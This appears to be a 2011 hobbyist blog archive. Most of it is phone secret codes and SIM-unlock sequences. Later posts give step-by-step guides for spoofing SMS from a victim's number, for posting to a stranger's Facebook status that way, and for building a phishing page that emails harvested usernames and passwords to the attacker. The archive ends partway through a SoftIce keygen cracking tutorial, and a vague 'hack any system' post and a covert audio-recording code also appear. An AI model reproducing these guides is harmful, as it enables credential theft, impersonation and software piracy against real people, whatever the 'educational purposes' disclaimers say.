Wednesday 22 June 2011

NOKIA N95 Secret Codes

*#06#
IMEI number (International Mobile Equipment Identity)
*#0000#
Firmware version and date, Phone Model and Operator Variant
*#92702689#
Life timer (W A R 0 A N T Y) - The amount of time your phone has spent sending and receiving calls.
*#62209526#
Wireless MAC Address (M A C _ W L A N)
*#2820#
Bluetooth MAC address (B T A 0?)
*#7370#
Format phone (R E S 0 ?)
*#7780#
Factory Reset (R S T 0 ?)
Note:
Format phone restores phone to as if it was out of the box. Retains firmware version and operator Variant changes but wipes all applications you have installed. Does not format the memory card so any apps on there may reinstall once powered back up again.
Another way to format some symbian phones: Power off phone. Press and hold Green, * and 3 and keep them held whilst powering on and for a few seconds after.
Factory Reset resets all settings to defaults but keeps any applications you have installed and photos etc. Both need the Security code, which, by default, is 12345.
N95 picture viewer:
2 – Scroll up (when zoomed)
4 – Scroll left (when zoomed)
5 – Zoom in (12.5%/25%/50%)
6 – Scroll right (when zoomed)
8 – Scroll down (when zoomed)
0 – Zoom out
Press and hold (in Standby):
Right selection key: Voice commands
Multimedia Key: Now Playing
1: Voicemail
2-9: shortcuts to address book you need to set up first
0: Web
#: Switches between General and Silent modes - not supported by all Operator Variants (when composing messages will switch between character and number input when held down)
12# (etc) in standby will dial the number held in location 12 on your SIM address book

Samsung SGH-A877 Impression Unlocking Instructions (New)


Warning : Do not enter any wrong unlock codes on your Samsung SGH-A877 Impression mobile phones. If you enter over a certain amount of wrong unlock codes on your Samsung SGH-A877 Impression mobile phone, your phone may get hard locked and sometimes become unusable.
Method 1:

1 - Switch ON your Samsung SGH-A877 Impression with a NOT ACCEPTED SIM Card.
2 - Samsung SGH-A877 Impression will ask for "Password".
3 - Enter the Unlock Code.

OR (if the Samsung SGH-A877 Impression shows "Insert Correct SIM Card")

Method 2:

1 - Switch ON your Samsung SGH-A877 Impression with a NOT ACCEPTED SIM Card.
2 - Don't bother about what's being displayed on your Samsung SGH-A877 Impression.
3 - Compose : #0111*CODE#.

NOT ACCEPTED: We mean, to use a sim card from a network other than the network your Samsung SGH-A877 Impression is locked to.
CODE: Its the unique Unlock Code for your Samsung SGH-A877 Impression.

If method 2 does not work, you can try method 2 again but this time without any SIM card on your Samsung SGH-A877 Impression.
Each Samsung SGH-A877 Impression mobile phone has an unique unlock code. You can buy the unique unlock code for your Samsung SGH-A877 Impression mobile phone using the form above.

MOTOROLA SECRET CODES

On the main screen type

IMEI number:
*#06#
Code to lock keys. Press together *7
Note: [] (pause) means the * key held in until box appears.

Select phone line - (use this to write things below the provider name):
[] [] [] 0 0 8 [] 1 []
Add phonebook to main menu:
[] [] [] 1 0 5 [] 1 []
Add messages to main menu:
[] [] [] 1 0 7 [] 1 []
Copy SIM memory (phonebook menu):
[] [] [] 1 0 8 [] 1 []
Eng Field options (main menu):
[] [] [] 1 1 3 [] 1 []
Slow (Frequency of search menu):
[] [] [] 1 0 1 [] 1 []
Medium (Frequency of search menu):
[] [] [] 1 0 2 [] 1 []
Fast (Frequency of search menu):
[] [] [] 1 0 3 [] 1 []
Enable EFR:
[] [] [] 1 1 9 [] 1 []
Function :
[] [] [] # # # [] 1 []


Change pin:
[] [] [] 0 0 4 [] 1 []
Unblocking using the "puk" number:
[] [] [] 0 0 5 [] 1 []

There are lots of similar codes exist. If you change the last number to 0 you can deactive that code. The 3 digit number at the middle are from 0 to 999. I put the most interesting codes. (EFR):Enhanced Full Rate Codec.

You can change GSM frequencies to 900/1800 by entering the enginnering model. Following the below steps:
enter menu and press 048263* quickly, then you will enter the secret engineering menu
under "Opcode"
input 10*0*3 for GSM 900
10*0*4 for GSM 1800
10*0*5 for GSM 1900
10*0*6 for dual band GSM 900/1800
10*0*7 for dual band GSM 850/1900

To add extra message space 4 your Motorola C350 C450 C550 or C650, press menu button, press 048263* quickly, then on the popup menu enter 47 press ok.press 50 and ok.press 1 ok.press 64 ok.press 1 ok.press 186 and ok.You will receive an extra 50 msgs memory space.Switch phone off and back on.(not tested)

Samsung D-Series Secret Codes

Tips, Tricks and Secret Codes for the Samsung D820, Samsung SGH D900:

#*22671* - Starts the phone recording in the background. It can record up to an hour, secretly. Press #*22672*

Holding the volume button when the screen is off displays a short summary of information. Time, Date, signal, missed calls, etc...

Enter code *#1234# to display Firmware version of the phone
Example : D900XAFG6
D900 = model
XA = Region / Country
F = Year (2006)
G = Month (July)
6 = Firmware Release in month (so this is the 6th revision)

Hold down # to mute, or unmute the phone.

Press 1 while watching a video to make it full screen.

While playing a song in music player u can highlight a part of the song to be repeated over, while listening to the song press 7 at the point u want repeated then press 7 again at the end of the section and it will loop the section between the the two presses of 7

If you need to send a photo via mms and its too big to send and u have no pc available to downsize the pic (my limit is 100kb via mms with my sim) open the photo in photo editor on the phone and "save as" rename it differently from the original and u will have two copys of the pic and the edited version will be under 100kb.

Hidden Menu: *#8999*8378#

Make MP3 sound louder:
1. hit: *#8999*8378#
2. hit: 2, and then 2 again.
3. then on IIS NORMAL (or hit 9)
4. then on "Rx vol."
5. for level 10, click 0
then save

Orignals are:
level 10 = 10
level 9 = 18

Make sound setting louder when som1s calling:
1. *#8999*8378#
2. 2 times 2
3. 1 (NORMAL)
4. then on "Rx vol."
5. level 5 type 140 instead of 120

Tuesday 21 June 2011

BlackBerry Secret Codes


Decibel meter.
Displays your signal strength in decibels, instead of bars.
Hold "Alt" and press "N", "M", "L", "L" (repeat to reverse the effect).
Address Book file verification.
Checks the data in your Address Book for inconsistencies.
In the Address Book, hold "Alt" and press "V", "A", "L", "D".

Address Book data structure rebuild.
Forces a data structure re-build in the Address Book...
In the Address Book, hold "Alt" and press "R", "B", "L", "D".
View source code.
Displays the source code of a Web page.
In the Browser, hold "Alt" and press "R", "B", "V", "S".
Help Me! menu.
Provides crucial technical information about your device, for when seeking technical support or help in forums...
Hold "Alt" and (left) "shift", then press "H".
IMEI display.
Displays your device's international mobile equipment identity (IMEI - your serial number) on-screen... Also works from all other GSM handsets.
Type "*", "#", "0", "6", "#" on the Home screen.
"Soft" reset.
Performs a "soft" reset of your device; the equivalent of doing a "battery pull" (ie. Removing the battery for a few seconds).
Press-and-hold "Alt", then press-and-hold (left) "shift", then press-and-hold "Del".
Event Log.
Displays event logs of all the system-level events that occur on your device...
Hold "Alt" and press "L", "G", "L", "G".
All of these secrets have been tested on the BlackBerry 8800 and BlackBerry Curve 8300; .
In some cases, you will need to be on the Home screen when you enter these codes...
Key shortcuts:
A or C = phonebook
S = search
F = phone profiles
W or B = browser
H = help
K = locks the keys
L = calendar
V = messages
M = messages folder
R = alarm
T = tasks
U = calculator
I = applications
O = options
P = phone
Some new additions thanks to the contributions in this thread:
T - Top of page (in browser)
B - Bottom of page (in browser)
Space - Page down (in browser)
ALT + Right Shift + Del = hard reset
D - Memo pad
U - Switch between hide/unhide in title bar (in browser)
ALT + NMLL = numbers instead of bars for signal strength

iPhone Secret Codes

3001#12345#* and tap Call. Enter Field Mode.
Field mode reveals many of the inner settings of your iPhone, specifically up-to- date network and cell information.

*#06# Displays your IMEI. No need to tap Call.
IMEI is the unique identifier for your cell phone hardware. Together with your SIM information it identifies you to the provider network.



*777# and tap Call. Account balance for prepaid iPhone.

*225# and tap Call. Bill Balance. (Postpaid only)

*646# and tap Call. Check minutes. (Postpaid only)
These three are pretty self explanatory.
*#21# and tap Call. Setting interrogation for call forwards.
Discover the settings for your call forwarding. You’ll see whether you have voice, data, fax, sms, sync, async, packet access, and pad access call forwarding enabled or disabled.
*#30# and tap Call. Calling line presentation check.
This displays whether you have enabled or disabled the presentation of the calling line, presumably the number of the party placing the call.
*#76# and tap Call. Check whether the connected line presentation is enabled or not.
State whether the connected line presentation is enabled or disabled. Presumably similar to the calling line presentation.
*#43# and tap Call. Determine if call waiting is enabled.
Displays call waiting status for voice, data, fax, sms, sync data, async data, packet access and pad access. Each item is either enabled or disabled.
*#61# and tap Call. Check the number for unanswered calls.
Show the number for voice call forwarding when a call is unanswered. Also show the options for data, fax, sms, sync, async, packet access and pad access.
*#62# and tap Call. Check the number for call forwarding if no service is available.
Just like the previous, except for no-service rather than no-answer situations.
*#67# and tap Call. Check the number for call forwarding when the iPhone is busy.
And again, but for when the iPhone is busy.
*#33# and tap Call. Check for call control bars.
Check all the usual suspects (voice, data, fax, sms, etc) to see whether barring is enabled or disabled for outgoing.

Unlock code for samsung Magnet SGH-A257

1- Power on fone ,, type : *#7465625#
you will identify wich code is active , wich is inactive
2- Remove battery ,, Put your sim card , not all of it ,, just to prepare it to be full inserted , put your battery back and power on fone ,, you must see " insert sim" not "invalid sim.."
3- type : *2767*3855#
your fone should restart after 1 min ,,
now ,, and before it restart , push your sim card ,,without removing battery



4- your fone should work and accept the sim card ,, but if you chek locks you will find that your fone is still Loked

5- now type : *7465685*638*00000000*00000000#
your UNLOCK CODE is 00000000 now , hh Enjoy

6- now , back to Locks table with : *#7465625# ,, and for each active code you can disable it ,,,here details :

* Disables CP lock : #7465625*27*00000000#
* Disables Network lock : #7465625*638*00000000#
* Disables SIM lock : #7465625*746*00000000#
* Disables SP lock : #7465625*77*00000000#
* Disables Subset lock : #7465625*782*00000000#

Sony Ericsson Secret Codes


IMEI number: * # 0 6 #
Software version: > * < < * < * Default Language: <>
Enter to phone menu without SimCard - after Wrong PIN: press NO: * * 0 4 * 0 0 0 0 * 0 0 0 0 * 0 0 0 0 #

Information about SIMLOCK: < * * <> * <- <- * <- * (-> means press joystick, arrow keys or jogdial to the right and <- means left.) You'll see phone model, software info, IMEI, configuration info, sim lock status, REAL time clock, total call time and text labels. You can also test your phones services and hardware from this menu (main display, camera, LED/illumination, Flash LED, keyboard, earphone, speaker, microphone, radio and vibrator tests) IMEI Number: *#06# Lockstatus: <- * * <- Shortcut to last dialed numbers: 0# Shortcut to sim numbers: On main menu type a number and press # If you change the language from default to any other language, then it may be difficult to switch to default language. The shortcut is very simple. Just press <> . <> stands for right arrow button or joystick.

Lg Secret Codes

LG all models test mode: Type 2945#*# on the main screen.
2945*#01*# Secret menu for LG

IMEI (ALL): *#06#
IMEI and SW (LG 510): *#07#
Software version (LG B1200): *8375#
Recount cheksum (LG B1200): *6861#
Factory test (B1200): #PWR 668
Simlock menu (LG B1200): 1945#*5101#
Simlock menu (LG 510W, 5200): 2945#*5101#
Simlock menu (LG 7020, 7010): 2945#*70001#
Simlock menu (LG 500, 600): 2947#*


Code to read phone version :
- Phone without SIM
- Enter 277634#*# or 47328545454#
- Select 'SW Ver.info'
Code to reset phone :
- Phone without SIM
- Enter 277634#*# or 47328545454#
- Select 'Factory Reset'
Code to enter UNLOCK MENU :
- Phone wit SIM inside
- Enter 2945#*88110#
Test Menu 8330 : 637664#*#
Test Menu 8180 V10a: 49857465454#
Test Menu 8180 V11a: 492662464663#
Test Menu 8130-8138: 47328545454#
Test Menu 8110-8120: 277634#*#

Monday 20 June 2011

Nokia Secret Codes

On the main screen type
*#06# for checking the IMEI (International Mobile Equipment Identity).
*#7780# reset to factory settings.
*#67705646# This will clear the LCD display
*#0000# To view software version.
*3370# This Nokia code activates Enhanced Full Rate Codec (EFR) - Your Nokia cell phone uses the best sound quality but talk time is reduced my approx. 5%
#3370# Deactivate Enhanced Full Rate Codec (EFR)
because phone receives less signal from network.
*#4720# Activate Half Rate Codec - Your phone uses a lower quality sound but you should gain approx 30% more Talk Time
*#4720# With this Nokia code you can deactivate the Half Rate Codec



*#2820# Bluetooth device address.
*#746025625# Sim clock allowed status.
*#62209526# - Display the MAC address of the WLAN adapter. This is available only in the newer devices that supports WLAN like N80
#pw+1234567890+1# Shows if sim have restrictions.


*#92702689# - takes you to a secret menu where you may find some of the information below:
1. Displays Serial Number.
2. Displays the Month and Year of Manufacture
3. Displays (if there) the date where the phone was purchased (MMYY)
4. Displays the date of the last repair - if found (0000)
5. Shows life timer of phone (time passes since last start)

If you forgot wallet code for Nokia S60 phone, use this code reset: *#7370925538#
Note, your data in the wallet will be erased. Phone will ask you the lock code. Default lock code is: 12345

Press *#3925538# to delete the contents and code of wallet.

*#7328748263373738# resets security code.
Default security code is 12345

Unlock service provider: Insert sim, turn phone on and press vol up(arrow keys) for 3 seconds, should say pin code. Press C,then press * message should flash, press * again and 04*pin*pin*pin#

Change closed caller group (settings >security settings>user groups) to 00000 and ure phone will sound the message tone when you are near a radar speed trap. Setting it to 500 will cause your phone 2 set off security alarms at shop exits, gr8 for practical jokes! (works with some of the Nokia phones.)

Press and hold "0" on the main screen to open wap browser.

Samsung secret codes

Samsung - Service Codes
*#06# Show IMEI
*#9999# Show Software Version
*#0837# Show Software Version (instructions)
*#0001# Show Serial Parameters
*#9125# Activates the smiley when charging
*#0523# LCD Contrast
*#9998*228# Battery status
capacity, vol***e, temperature)
*#9998*246# Program status
*#9998*289# Change Alarm Buzzer Frequency
*#9998*324# Debug Screens
*#9998*364# Watchdog
*#9998*377# EEPROM Error Stack - Use side keys to select values


*#9998*427# Trace Watchdog
*#9998*523# Change LCD contrast
*#9998*544# Jig detect
*#9998*636# Memory status
*#9998*746# SIM File Size
*#9998*778# SIM Service Table
*#9998*785# RTK (Run Time Kernel) errors - if ok then phn is reset,
info is put in memory error
*#9998*786# Run, Last UP, Last DOWN
*#9998*837# Software Version
*#9998*842# Test Vibrator - Flash the screenlight during 10 sec
and vibration activated
*#9998*862# Vocoder Reg - Normal, Earphone or Carkit
*#9998*872# Diag
*#9998*947# Reset On Fatal Error
*#9998*999# Last/Chk
*#9998*9266# Yann debug screen (Debug Screens?)
*#9998*9999# Software version
*0001*s*f*t# Changes serial parameters (s=?, f=0.1, t=0.1)
*0002*?# unknown
*0003*?# unknown
FOR NEW SGH (R210, T100, A300...)
if code is in format *#9998*xxx#
try write in this *#0xxx#
SGH-600 SGH-2100
*2767*3855# Full EEPROM Reset (THIS CODE REMMOVES SP-LOCK!
but also changes IMEI to 447967-89-400044-0
*2767*2878# Custom EEPROM Reset
D820
Symbian Parte
**04* change code PIN - can use **04*old_pin*new_pin*new_pin#
**042* change code PIN2
**05* Unblock PIN
**052* Unblock PIN 2
*#7780# Restore factory settings-Need lock code
*#7370# Restore factory setting-Deep mode-Need lock code
*#2820# Show bluetooth MAC adress -Same as *#232337#
*#7370925538# Reset settings value in waller app
*#92702689# Show life time of device
Phone part
*#[IMG][/IMG]4# Show soft version
*#1111# Show FTA S/W version
*#2222# Show FTA H/W version
#9998*8376263# Show S/W version
*2767*2878# Custom reset
*2767*927# WAP reset
*2767*63342# Media reset
*2767*5282# Java reset
*2767*3855# Full reset
*#9998*377# Show error log
*#9998*842# Vibrator test
*#9998*782# Show rel time clock
*#9998*3323# Reset the device
*#9998*289# Buzz test
*#9998*523# LCD contrast test
*#9998*8378# Show debug Monitor
*#9998*2886# Toggle auto answer option
*#3888# Enter bluetooth test mode
*#4357# Show help dialog
*#9998*228# Show battery Information
*#4777*8665# retrive GPRS setting value
*#0*# Enter LCD test mode
*#9998*746# Show SIM information
*#9998*778# Show SST information
*#06# Show IMEI

SGH V200
Unlocking:
Power on the phone without SIM card and type these codes:
*2767*63342# and press green button
*2767*3855# and press green button
*2767*2878# and press green button
*2767*927# and press green button
*2767*7822573738# press button
Phone will be unlocked, but all trims are reseted !!!
Mobile phone must be fully charged

E710/715
*#32436837# DAI ON Digital Audio Interference On
*#3243948# DAI OFF Digital Audio Interference Off
*#9324# MONITOR
*#0746# SSMS MEMORY:20
*#0842# vibra on
*#0289# buzzer on
*#4357# HELP (4357) This screen!!!!!!!
*#7777# verze SW
*#8888# verze HW
*#9999# Revize HW
*#0782# cas provozu, zapnit? a vypnit? - LIVE TIMER
*#0523# 41 (80) menu: 12
*#0638# SIM: f23003 F230 030
*#0778# SST size: 10
*#9273696# Java D/L setting
*#92782# Wap user agent
*#9998*5646# change operator logo at startup
*#9998*76# production number
*#9998*968# view melody for alarm - YAMAHA OK
*#0778# Sim Service table
*#9998*523# or *#9998*0523# or *#0523# Display Contrast
*#9998*288# or *#9998*0288# or *#0288# Battery & Field Infos
*#9998*5282# Java menu (GRPS/CSD settings for JAVA server)

E700/S500 100%..... X100/X600???!!!???
#*566335# Wap model ID
#*5663352# java model
#*5663351# model
#*53696# java download mode
#*536963# serial enabl others disabled
#*536962# HTTP enabl WAPSAR disabled
#*536961# WAPSAR enabl HTTP dis
*663867 MF file dumped
*335 All MMS mes deled
*2767*77667# Spain MMS settings
*2767*78667# Portugal
*2767*65667# Netherland
*2767*29667# Czech
*2767*28667# Austria
*2767*48667# Italy
*2767*37667# France
*2767*85667# Uk
*2767*33667# Germany
*2767*73738927# MMS Reset????

*2767*77927# Spain WAP Setting are applied
*2767*78927# Portugal
*2767*29927# Czech
*2767*65927# Netherlands
*2767*28927# Austria
*2767*37927# France
*2767*48927# Italy
*2767*85927# Uk
*2767*33927# Germany
#7263867# Ram Dump On
#*3232# Current Mode - DCD mode
#*3231# DCD en TRACE dis
#*3230# TRACE en DCD dis
#*6428# MIC measuremnt CMD: Set, DSPMTCV11, MICHDW in cihard. opt
#*6422# MIC dep RXdata CMD: Set, DSPMTCV11, MICHDW in cihard. opt
#*6421# MIC on CMD: Set, DSPMTCV11, MICHDW in cihard. opt
#*6420# MIC off CMD: Set, DSPMTCV11, MICHDW in cihard. opt
*#7465625# Secret Menu
#7465625*28746# ?
*7465625*28746# ?
#7465625*2827# ?
*7465625*2827# ?
#7465625*2877# ?
*7465625*2877# ?
#7465625*28782# ?
*7465625*28782# ?
#7465625*28638# ?
*7465625*28638# ?
#7465625*228# ?
*7465625*228# ?
#7465625*746* ?
*7465625*746* ?
#7465625*27* ?
*7465625*27* ?
#7465625*77* ?
*7465625*77* ?
#7465625*782* ?
*7465625*782* ?
#7465625*638* ?
*7465625*638* ?
*#8377466# SW + HW info
*#8888# HW info
*#9999# SW info
*#8999*8376263# komplet info
*#8999*636# IPD info
#*2677# ARM state: None
#*0000# ??????
*#8999*324# Net monitor??
#*6200#
#*6700#
#*6900#
#*7200# neplatn? ?roven pr?stupu
#*6100# command #*6100# Executed
*2767*3700# SGH-E700 BSI
*2767*7100# SGH-S100
*2767*8200# SGH-V200
*2767*7300# SGH-S300
#0111*codigo#
*2767*637#
*2767*688#
*2767*wap#
*2767*media#
*2767*mms#
*2767*226372# Camera Reset
*2767*688# MEP off
*2767*927# WAP
*2767*2878# E2P Custom reset
*2767*3855# E2P Full reset
*2767*2878# Sec reset
#*7828# C??? Midi Ri51
#*5111# PI 0813 33 99 MSI 7 NA 0 18 P99 T00 CffHff
#*2562# nejakej reset
#*2565# no blocking General Defense
#*3353# General defense Code Erased
#*3837# reset ???????
#*3849# reset ???????
#*3851# reset ???????
#*3876# reset ???????
#*7337# reset ???????
#*5376# reset All SMS Deleted
#*7222# Operation Typ: Class C GSM
#*7224# Error!!!!
#*7252# Operation Typ: Class B GSM
#*7271# multi Slot Class 1 GPRS
#*7274# multi Slot Class 4 GPRS

#*2787# CRTP on - Batery options
#*3737# L1 AFC DeltaF -36 NbAfcCorr 0 AdjustFoi 0 CumFoi 0
#*3825# Command #*3825# Executed
#*5133# L1 HO Data Async HO 83 Sync HO 0 HO Fail 0 TCH 40
#*7288# GPRS Detached
#*7287# GPRS Detached
#*7666# SrCell data RAC 255 NMO 255
#*7693# Sleep Deact
#*7284# Class B
#*2256# Calibr - info
#*2286# DATAbattery
#*2527# GPRS switching set to class 4
#*2679# Copycat feat. Activated
#*3940# External looptest 9600bps not avalible in SYSOL2!
#*4263# handsfree mode Activated
#*4700# Half rate deact
#*7352# BVMC Reg vaule Set BMVC to 00H For Cmd set DEBUGBATTERY in cihard.opt
#*8462# Sleeptime sinc SwitchOf
#*2558# Time ON For Cmd set DEBUGBATTERY in cihard.opt
#*3370# EFR Deact
#*3941# External looptest 115200bps not avalible in SYSOL2!
#*5176 L1 Sleep TOI N:5 TOI P:0
#*7462# SIM phase 3
#*7983# Vol***e/Freg Deact
#*7986# Vol***e Activated
#*8466# Old time
#*2255# Call failed mode: Command not Implemented
#*5187# L1C2G trace Activated
#*6837# Official SW version: 120107A1
#*7524# KCGPRS: +data
#*7562# LOCI GPRS: +data
#*7638# RLC allwazs open ended TBF Actiated
#*7632# Sleep mode Debug: +data
#*7673# Sleep mode RESET
#*2337# Permanent Registrtion Beep: NOT YET IMPLEMENTED
#*2474# For Cmd set DEBUGBATTERY in cihard.opt
#*2834# Audio Pth Mobile Normal
#*3270# DCS support Deact
#*3282# Data Deact
#*3476# EGSM Deact
#*3676# falh volume formated
#*4674# IMSI: +data
#*4760# GSM Activated
#*4864 pro tento model nic
#*5171 data
#*5172 data
#*5173 data
#*7326# Accessorz: vibrator
#*7676# Command #*7676# Executed
#*7683# Sleep variable
#*7762# SMS Bearer CS Activated
#*7957# Command #*7957# Executed
#*8465# Time in L1 +data
#*9278# Command #*9278# Executed
#*9795# WTLS key Reset
#*2252# Current call: +data
#*2836# AVDDSS Managment Deact.
#*3877# Dump of SPY trace: +data
#*7728# RSAV done

Update Strangers Status in Facebook


Facebook is the one and all social networking service which people all over the world use to communicate with all their friends and family members, they share happiness and everything with all their homies so what if you have the power to Update anyone's Facebook status and have some FUN with him.
Now this post is just for educational purpose you should attempt this on any innocent as this would be a serious crime.
Update Strangers Status in FacebookFollow the below steps to Update Status inFacebook .:
1. The trick we are going to use here is from the post : Sending Fake SMS
2. you need to know how to send fake sms so check the above post and then follow the below steps .:
3. Now you know about the SMSGLOBAL from the above post just open the send SMS to number from SMSGLOBAL Dashboard like Below and put .:
+919232232665 in the Send SMS To Field
and
+91xxxxxxxxx in the Sender id From field ( this is your victims number )
4. This trick only works if victim has registered his mobile number to get notifications from Facebook so to get the victims number if he is your friend just go to the info tab on his profile and get the number from the mobile number section.
5. Now add this number to the Sender id From field.
6. Now head over to message adding field and type the funny message you want victims current status to be.
7. After adding the message just check all the fields should be right and make sure you have added +91 before both the numbers above now just click the Blast !!!Button oh I mean Send Button and see the magic.
8. Now go to Facebook.com and check your victims current status , now you know what to do just comment and Like his status to encourage him.

Guide to Untether Jailbreak iOS 4.3,4.3.1 With Redsn0w


A new version of Redsn0w is released by iPhone Dev Team which aims atjailbreaking iPhone on 4.3,4.3.1 with Untether capabilities.

Devices Compatible .:
iPhone 4, iPhone 3GS, iPod Touch 4G, 3G, iPad 1 & Apple TV 2 (Black), not for iPad 2 users.

Requirements .:
Instructions .:
  1. Create a folder on your Desktop and place all required files you downloaded earlier.
  2. Launch RedSn0w and select the file .ipsw firmware 4.3, 4.3.1 by clicking the browse button, and after that the program will identify the firmware and start a quick process (requires Internet connection).4.3.1 iPhone Jailbreak
  3. Select  “Install Cydia” and then click again on Next (you can also choose whether to install the custom logos or less).4.3.1 iPhone Jailbreak
  4. Now turn off your iPhone but make sure it is still plugged in to USB port. If you satisfies this term then click next to proceed, next step is to put your iPhone in DFU mode.4.3.1 iPhone Jailbreak           
  5. To put your iPhone in to DFU mode follow the onscreen instructions, as follows Hold the Power button for 3 seconds, Hold the Home and Power buttons for 10 seconds, then release the Power button and continuing holding the Home button until your iPhone is in DFU mode.
  6. If every thing goes well and you successfully put your iPhone in DFU mode, then the following screen will appear otherwise you will be prompted to do from Step Four.
  7. That’s it after 5 to 8 minute of process you will get your hands on a JailbreakiDevice.

Send Fake SMS With Others Mobile Number


Fake sms is a fun way to prank out with your dearest friends. Well this should only be used for a limited access to play with your Homies but some can take advantage of this technique and f*** everything up by pranking and making problems for others.
With this trick you would be able to send Fake SMS from anyone's number, Yes that’s right you can put your friends enemy number and send him a message. You can do anything but remember this is just for educational purpose any illegal attempt can be taken as a serious crime.
Procedure for sending fake sms .:
1. Go to SMSGLOBAL
2. Now simply click the New User button below Login Credentials.
How to Send Fake SMS
3. After successful sign up you will see the confirmation that code has been sent to your phone.
4. Now simply grab your registered mobile number and go to SMSGLOBAL.COM and put your Username and your Password which you received on your mobile number.
How to Send Fake SMS


5. Now the above windows will just open in front of you simply click on Send SMS to Number.
6. Now you will be presented with this layout just enter the information as said in the image below.
How to Send Fake SMS
7. That’s all you had successful a fake prank with your dearest friend so have fun with this service but don’t make anyone cry with this service.
Remember: you just have 25 sms credits if they are over then you need another mobile number to get more sms for free. So use these free credits wisely.


DISCLAIMER .: The post is for educational purposes only ! “WE" is not responsible for any kind of loss or damage. Its is considered as illegal, Do this @ ur own risk.

Sunday 19 June 2011

Hide Your Files In a JPEG | Lock Files in JPEG Format

Well, did you know you could hide your files in a JPEG file? For this, you will only need to download WinRAR. You just need to have a little knowledge about Command Prompt and have WinRAR installed.

Ok, lets begin…

1. Gather all the files that you wish to hide in a folder anywhere in your PC (make it in C:\hidden - RECOMMENDED).

2. Now, add those files in a RAR archive (e.g. secret.rar). This file should also be in the same directory (C:\hidden).

3. Now, look for a simple JPEG picture file (e.g. logo.jpg). Copy/Paste that file also in C:\hidden.

4. Now, open Command Prompt (Go to Run and type ‘cmd‘). Make your working directory C:\hidden.

5. Now type: “COPY /b logo.jpg + secret.rar output.jpg” (without quotes) - Now, logo.jpg is the picture you want to show, secret.rar is the file to be hidden, and output.jpg is the file which contains both. :D

6. Now, after you have done this, you will see a file output.jpg in C:\hidden. Open it (double-click) and it will show the picture you wanted to show. Now try opening the same file with WinRAR, it will show the hidden archive .

Saturday 18 June 2011

How to disable”Turn Off Computer”button in XP?


Image Hosted by ImageShack.us
Today tip is very useful particularly for those users who want to restrict the common users to shutdown public computer in common areas. You can disable the “Turn off Computer” button on the start menu and a common user will not “Turn Off, Restart and Stand By” a computer. Using registry editor, you can implement this task in all windows XP versions with minimum effort.
Follow the given steps to disable Turn off Computer” button on the start menu:
To use this feature, you will need to be logged into your computer with administrative rights.
Click Start button and type regedit in Run option then press Enter for next.
Image Hosted by ImageShack.us
Here locate the location to:
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer
Here in right side panel, right click to create a new DWORD value with the name NoClose.

Now assign number 1 in value data box and close the registry editor.
Image Hosted by ImageShack.us
Now close the registry editor and restart your computer after any changes to go into effect.
But next time, if you want to enable “Turn Off Computer” button on start menu then simply change the value of data box to 0 or delete NoClose DWORD item.

Fastest Way To Hack into Someones System | Easy Hacking to System


Well as I already mentioned you can hack any system as it is conected to what we call “INTERNET”. To connect internet a system allocates a port for communication and Data Transfer. So we got to do is to get into that port that is to be hacked.
 
Steps: -

   1. Software PORT SCANNER from google.
   2. The IP address of the victim whose port is open.
   3. NETLAB which gives u all information includes victim IP address,Area from where he is accessing internet….
   4. The IP of victim u found initially into NETLAB .
   5. Thats it now you can access his system.

Note : This is really Hardcore Hacking and you should be very much careful while doing all this and you do all this on your own responsibility. This site is never responsible for anything you after reading any article from this site and there are almost 50-50 chances that you may get caught so don’t try this unless you are aware of everthing. Yes you can freak some of your friends by telling them that you can hack their systems very easily.

Create your own f@ke login page!!! | Create your own fake Page


This is an easier version from the “How to Hack Gmail, Yahoo, Hotmail, Orkut or Any Other”

This goes into more detail on how to create a fake page to login, and get redirected while it is sending a email of the password and username to your inbox. If you found this easy, then try out the post, “How to Hack Gmail, Yahoo, Hotmail, Orkut or Any Other”
 
Fake login page is a fake page which you can use to hack others username and password. Fake login page looks exactly like the original page and if someone login in your page using his original username and password, the username and password will be mailed to you
The process of Hacking anyone’s id using fake login pages is known as Phishing

Now let’s learn how to create your very own fake login page.
{1} Open www.jotform.com and Sign Up.
{2} then Login there with your newly registered account.
{3} now click on ‘ Create your first form’.
{4} Now delete all the pre-defined entries, just leave ‘First Name:’ (To delete entries, select the particular entry and then click on the cross sign.)
{5} Now Click on ‘First Name:’ (Exactly on First Name). Now the option to Edit the First Name is activated, type there “username:” (for Gmail) or YahooId: (for Yahoo)
{6} Now Click on ‘Power Tool’ Option (In right hand side…)
{7} Double click on ‘Password Box’. Now Click the newly form password entry to edit it. Rename it as ‘Password:’
{8} Now Click on ‘Properties’ Option (In right hand side…). These are the form properties.
{9} You can give any title to your form. This title is used to distinguish your forms. This Title cannot be seen by the victim.
{10} Now in Thank You URL you must put some link, like http://www.google.com or anything. Actually after entering username & password, user will get redirect to this url.(Don’t leave it blank…)
{11} Now Click on ‘Save’. After saving, click on ‘Source’ Option.
{12} Now you can see two Options, namely ‘Option1′ & ‘Option2′. Copy the full code of ‘Option2′.
{13} Now open Notepad text editor and write the following code their.
Paste the Option2 code here
{14} And now save this as index.html. And then host it, mean you will have to put it on the internet so that everyone can view it. Now i think that you would be knowing it and if in case you do not know it please leave a comment with your email-id and i will mail you how to do it.
Now you can view it by typing the url in the address bar.
NOTE: If u want to send it to the internet, then first you will have to create a hosting account which you can create on www.110mb.com and there are many other sites which you can find on the internet very easily.
I suppose that you created your account at 110mb.com
now login to your account then click on “File Manager”, then click on “upload files” or just “upload”. Then select the file which you want to send to the internet and click on upload. And you are done.
Now you can access you file on the net by just typing the url ofthe file.
And you will receive password of the users that login to your site through email-id which you’ve entered while creating the form.

Friday 17 June 2011

How to Make Key Generators

In this tutorial I will show how to make a key-gen for Ize and Swiftsearch. The protection that these programs use is the well known Enter-Name-and-Registration-Number method. After selecting 'register', a window pops up where you can enter your name and your registration number. The strategy here is to find out where in memory the data you enter is stored and then to find out what is done with it.

Part 1: Scanline Swiftsearch 2.0!

Swiftsearch is a useful little program that you can use to search on the web. I will explain step by step how to crack it.

step 1. Start the program :)

step 2: Choose register from the menus. You will now get a window where you can enter your name and your registration number.

step 3: Enter SoftIce (ctrl-d)

step 4: We will now set a breakpoint on functions like GetWindowText(a) and GetDlgItemText(a) to find out where in memory the data that we just entered is stored. The function that is used by this program is GetDlgItemTexta (trial and error, just try yourself :) so, in SoftIce type BPX GetDlgItemTexta and exit SoftIce with the g command.

step 5: Now type a name and a registration number (I used razzia and 12345) and press OK, this will put you back in SoftIce. Since you are now inside the GetDlgItemTexta function press F11 to get out of it. You should see the following code:

lea eax, [ebp-2C] :<--- we are looking for this location
push eax
